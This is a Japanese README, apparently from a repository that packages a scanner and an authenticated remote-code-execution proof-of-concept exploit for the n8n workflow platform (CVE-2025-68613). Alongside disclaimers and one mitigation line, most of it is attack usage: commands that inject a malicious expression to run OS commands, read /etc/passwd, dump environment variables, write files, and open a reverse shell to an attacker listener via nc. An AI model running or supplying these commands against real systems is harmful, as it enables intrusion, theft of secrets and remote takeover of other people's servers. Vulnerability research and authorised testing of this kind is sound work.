
n8n CVE-2025-68613
このツールキットは、n8n Workflow Automation Platform の重大な脆弱性 CVE-2025-68613 に対する スキャナおよび PoC エクスプロイト を提供します。
このリポジトリは、n8n Workflow Automation Platform に影響する重大な脆弱性 CVE-2025-68613 のための スキャナおよび PoC エクスプロイトスクリプト を提供します。
このツールは許可された正当なセキュリティテスト専用です。所有者の許可なくこのツールをシステムで使用することは禁止されています。
このツールは許可された合法的なセキュリティテスト専用です。無断使用は違法であり、禁止されています。
0.211.0 – 1.120.31.121.01.120.4+1.121.1+1.122.0+.
├── tot-scanner-2025-68613.py # Vulnerability Scanner (NO exploit)
├── tot-exploit-2025-68613.py # Authenticated RCE Exploit PoC
├── requirements.txt
└── README.md
スキャナは以下のために使用されます:
スキャナ:
スキャナは以下のエンドポイントを確認します:
//rest/settings/healthz/api/v1/health必要なパッケージ:
requirements.txt の内容:
requests>=2.28.0
必要なパッケージ:
requirements.txt の内容:
requests>=2.28.0
pip install -r requirements.txt
python3 tot-scanner-2025-68613.py -u http://target.com:5678
python3 tot-scanner-2025-68613.py -u http://target.com:5678 --json
{
"target": "http://target.com:5678",
"detected": true,
"version": "1.121.0",
"vulnerable": true,
"status": "vulnerable",
"cve": "CVE-2025-68613"
}
| コード | 意味 |
|---|---|
| 0 | 脆弱ではない |
| 1 | バージョン不明 |
| 2 | 脆弱 |
このエクスプロイトには有効な n8n の認証情報が必要です
認証済みアクセスが必須です
エクスプロイトの動作手順:
Set ノードに悪意のある式を注入する
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload info
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload cmd --command "id"
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload read --file /etc/passwd
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload write --file /tmp/pwned.txt --content "owned"
nc -lvnp 4444
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
/rest/* エンドポイントへのアクセスを制限するこのプロジェクトは教育目的および許可されたセキュリティテスト専用に提供されています。
著者は不正使用について責任を負いません。
n8n
cve
cve-2025-68613
rce
expression-injection
security
pentest
red-team
blue-team
python
法令を遵守しましょう。倫理的に行動しましょう。
| 引数 | 必須 | 説明 |
|---|
-u / --url | ✅ | ターゲット n8n URL |
-e / --email | ✅ | n8n アカウントのメールアドレス |
-p / --password | ✅ | n8n アカウントのパスワード |
--payload | ✅ | ペイロードタイプ |
--command | ❌ | OSコマンド (cmd) |
--file | ❌ | ファイルパス (read/write) |
--content | ❌ | ファイル内容 (write) |
--lhost | ❌ | 攻撃者のIP (revshell) |
--lport | ❌ | 攻撃者のポート (revshell) |
--verify-ssl | ❌ | SSL証明書を検証 |
| ペイロード | 機能 |
|---|
info | システム情報 |
cmd | コマンド実行 |
env | 環境変数ダンプ |
read | ファイル読み取り |
write | ファイル書き込み |
revshell | リバースシェル |